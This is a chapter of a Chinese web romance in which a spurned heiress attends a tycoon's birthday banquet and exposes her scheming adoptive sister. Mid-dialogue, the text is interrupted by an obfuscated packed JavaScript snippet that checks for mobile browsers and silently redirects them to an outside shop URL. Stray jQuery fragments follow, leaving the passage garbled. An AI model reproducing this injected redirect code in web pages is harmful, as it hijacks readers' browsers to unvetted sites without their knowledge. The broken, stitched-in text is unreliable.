次日清晨,西山别墅的客房门被人敲响。

    沈棠顶着一头乱发从被窝里爬出来,刚拉开门,就被门外站着的一排造型团队吓得清醒过来,连起床气都没来得及发作就被按在了梳妆台前。

    “时间紧迫,请沈小姐配合我们的工作。”

    领头的造型师根本不给她拒绝的机会,直接指挥助手开始了一场流水线般的繁复作业。

    接下来的两个小时里沈棠像个没有灵魂的木偶任由这群人在她脸上和头上折腾,好几次都差点在椅子上睡过去。

    当她终于被套上昨天在店里挑中的黑色深V礼服,踩着十厘米的细高跟走出客房时,等在二楼走廊尽头的顾淮之刚好转过身来。

    走廊里的空气在这一刻安静下来。

    沈棠那头海藻般的长卷发被精心打理过,慵懒地披散在白皙圆润的肩头,黑色的丝绒面料紧密贴合着她曼妙的曲线,将腰肢勾勒得淋漓尽致。

    她那张原本就明艳妖冶的脸在精致妆容的修饰下更透出一种张扬的美感,尤其是那双微微上挑的狐狸眼,顾盼生辉间透着十足的狡黠。

    顾淮之的视线在她身上停顿了半拍,喉结在冷白皮的脖颈处上下滚动了一圈,随后迅速偏过头去掩饰住那份不自然。

    “勉强能看,走吧。”

    他板着脸扔下这句话便转身迈开长腿朝楼梯口走去,步伐比平时快了半拍。

    沈棠在心里翻了个白眼,提着裙摆快步跟上去,顺手一把挽住他那条穿着高级定制西装的手臂,将自己大半个身子的重量都压了上去。

    “老板你这口是心非的毛病什么时候能改改?我刚才分明看到你眼睛都直了,承认我长得好看有那么难吗?”

    她一边顺理成章地吸取着男人身上的纯阳之气,一边大着胆子在老虎头上拔毛,完全没把顾淮之紧绷的脸色当回事。

    顾淮之侧头看着她那副得意的样子,并没有将手臂抽出来,任由她像个树袋熊般挂在自己身上,语气里透着警告。

    “你最好记住昨天答应过我的事,今天到场的都是京圈核心人物,管好你的嘴,别给我惹麻烦。”

    他带着她坐进停在别墅门口的那辆加长版劳斯莱斯,宽敞的车厢里立刻充斥着两人身上交织的清甜与雪松香气。

    车子平稳地驶出西山别墅区,朝着顾家位于京郊的那座占地面积广阔的百年庄园开去,一路上沈棠都在百无聊赖地刷着屏幕。

    顾老太爷作为京圈德高望重的泰斗级人物,他的八十大寿自然办得场面盛大,整个庄园都被布置得喜气洋洋。

    庄园外停满了各式各样的顶级豪车,衣香鬓影的名流权贵们三三两两地聚在一起寒暄,试图在这个名利场上寻找着更多的合作机会。

    当那辆挂着顾淮之专属连号车牌的劳斯莱斯缓缓停在宴会厅正门口时,所有人的目光都齐刷刷地投了过来。

    司机恭敬地拉开后座车门,顾淮之率先迈出长腿,他今天穿着一身剪裁得体的暗纹黑色西装,整个人透着高不可攀的清冷感。

    他并没有急着往里走,而是转过身,动作自然地朝着车厢里伸出手。

    一只白皙纤细,涂着暗红色指甲油的手搭在他的掌心,紧接着沈棠提着那件黑色的丝绒礼服裙摆,踩着摇曳生姿的步伐从车里走了下来。

    人群中立刻爆发出一阵低声惊呼。

    “那不是最近在网上闹得沸沸扬扬的那个黑红女星沈棠吗,她怎么会和顾总在一起?”

    “顾总平时连女人靠近三尺都嫌恶心,今天居然亲自给人当护花使者?”

    “听说这沈棠是被沈家赶出来的真千金,不知道沈家那对夫妻现在是什么表情。”

    周围的窃窃私语一字不落地落入沈棠的耳朵里,她非但没有半点怯场,反而将脊背挺得更直,那张明艳的脸上挂着无懈可击的从容微笑。

    顾淮之感受着手臂上传来的温热触感,体内那股常年肆虐的阴冷煞气此刻安静下来,这种久违的轻松感让他紧绷的下颌线都柔和了几分。

    “别理会那些人,跟着我就行。”

    他微微偏头在沈棠耳边交代了一句,温热的呼吸拂过她的耳廓。

    沈棠仰起头冲着他眨了眨眼睛,两颗小虎牙若隐若现,手指还在他的臂弯里轻轻挠了两下。

    “老板放心,我这人心理素质好得很,他们越是嫉妒我,我这心里就越是痛快。”

    她凑近回了一句,挽着顾淮之的手臂,踩着红毯一步步走进那座金碧辉煌的宴会大厅,仿佛她才是这场宴会真正的主角。

    两人刚走进宴会厅的核心区域,还没来得及去给顾老太爷贺寿,一道尖锐的声音就从左侧传了过来。

    “沈棠!你这个不知廉耻的贱人,你居然还有脸出现在这里!”

    沈娇娇穿着一身明显不太合身的粉色礼服,像只被踩了尾巴的猫那般冲了过来,那张精心修饰过的脸上满是扭曲的嫉妒。

    跟在她身后的正是满脸堆笑的沈父和沈母。

    他们费了很大的力气才弄到这张寿宴的请柬,企图在这里攀附上几个有权有势的大人物。

    沈父发现自己被沈棠拉进黑名单后,一肚子气没地方发,好不容易在这里遇到她,原本还打算斥责她几句,可在看清沈棠身边站着的男人时,他的脸立刻僵硬。

    他怎么也没想到,自己那个被扫地出门的亲生女儿,竟然会攀上顾淮之这棵参天大树。

    “娇娇你闭嘴,这里是什么场合,容得你在这里大呼小叫!”

    沈父赶紧上前一把拉住还在发疯的沈娇娇,转头看向顾淮之时,脸上立刻换上谄媚的表情,连腰都弯下了几分。

    “顾总您别见怪,这孩子从小被我们惯坏了,说话没轻没重的,不知道棠棠怎么会有幸成为您的女伴?”

    他搓着双手,试图用这种方式拉近和顾淮之的关系,完全忘记了自己前几天还在电话里怎么辱骂这个亲生女儿。

    顾淮之连正眼都没看沈父一眼,他扫过沈娇娇那张扭曲的脸,周身的气场都跟着冷了下来。

    “保安在哪里?谁允许这种没有教养的人混进顾家寿宴的,马上把他们给我扔出去。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939825|213872||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    他语气里透着毫不掩饰的厌恶和不耐烦,根本不给沈家人留半点情面,直接下达了逐客令。

    沈娇娇被他这毫不留情的话刺激得失去了理智,她挣脱沈父的手,指着沈棠的鼻子尖声叫骂起来。

    “顾总您千万别被这个女人的外表骗了,她就是个满嘴谎言的神棍!她在网上造谣生事害得林星宇进了监狱,这种扫把星只会给顾家带来晦气!”

    宴会厅里的宾客们纷纷停下了交谈,全都用看好戏的眼神注视着这场豪门闹剧,等着看顾淮之会怎么处理这个丢人现眼的女人。

    沈棠看着脑海里那本疯狂翻页的生死簿,脸上的笑容越来越灿烂,她甚至连反驳的欲望都没有,只是百无聊赖地把玩着顾淮之西装袖口上的那颗蓝宝石袖扣。

    “沈娇娇,你是不是觉得林星宇进去了,你之前干的那些破事就没人知道了?”

    她慢条斯理地抬起头,那双狐狸眼里闪烁着危险的光芒,语气轻飘飘的,却透着十足的威胁。

    沈娇娇僵硬在原地,眼底浮现出无法掩饰的慌乱。

    她本能地往后退了半步。

    “你胡说八道什么,我清清白白能有什么破事,你别想在这里血口喷人!”

    她强撑着反驳,但颤抖的尾音已经彻底出卖了她的心虚,连带着旁边的沈父沈母都变了脸色。

    沈棠松开顾淮之的手臂,往前迈了半步,直接逼近了沈娇娇那张惨白的脸,毫不客气地笑出声来。

    “清清白白?那你敢不敢告诉大家,你为了抢走那个女二号的角色,是怎么在林星宇的酒里下药,又怎么把人家原本定好的女演员骗到酒店房间里,拍下那些见不得人的照片的?”

    她用最随意的语气,抛出一个足以让整个宴会厅炸锅的惊天大瓜,连带着把具体的时间地点都报得清清楚楚。

    周围的宾客们顿时安静如鸡,看向沈娇娇的眼神里充满了鄙夷和震惊,谁能想到这个平时装得像朵白莲花一样的千金小姐,背地里手段竟然这么恶毒。

    沈父和沈母更是惊得说不出话来,他们怎么也想象不出来,自己一直捧在手心里的乖乖女,竟然会干出这种可能要坐牢的事情。

    “你闭嘴!你这是诽谤,我要撕烂你这张嘴!”

    沈娇娇像疯了一样想要扑上来撕打沈棠,长长的指甲直奔沈棠那张明艳的脸而去,完全是一副要同归于尽的架势。

    顾淮之眼疾手快地一把将沈棠拉到自己身后,修长的长腿毫不留情地往前一踹,直接将沈娇娇踹得连连后退,重重地摔在光洁的大理石地板上。

    “顾家的场子,还轮不到你们这种垃圾来撒野。”

    顾淮之将沈棠挡在自己身后,居高临下地看着狼狈不堪的沈家人,声音里透着刺骨的寒意,整个宴会厅的气氛降到了冰点。

    沈棠靠在男人坚硬的后背上,手指无意间划过他西装的布料,忍不住笑了起来。

    这场寿宴,还真是越来越有意思了。

    毕竟她刚才在脑海里的生死簿上,可是看到了一个更有趣的名字。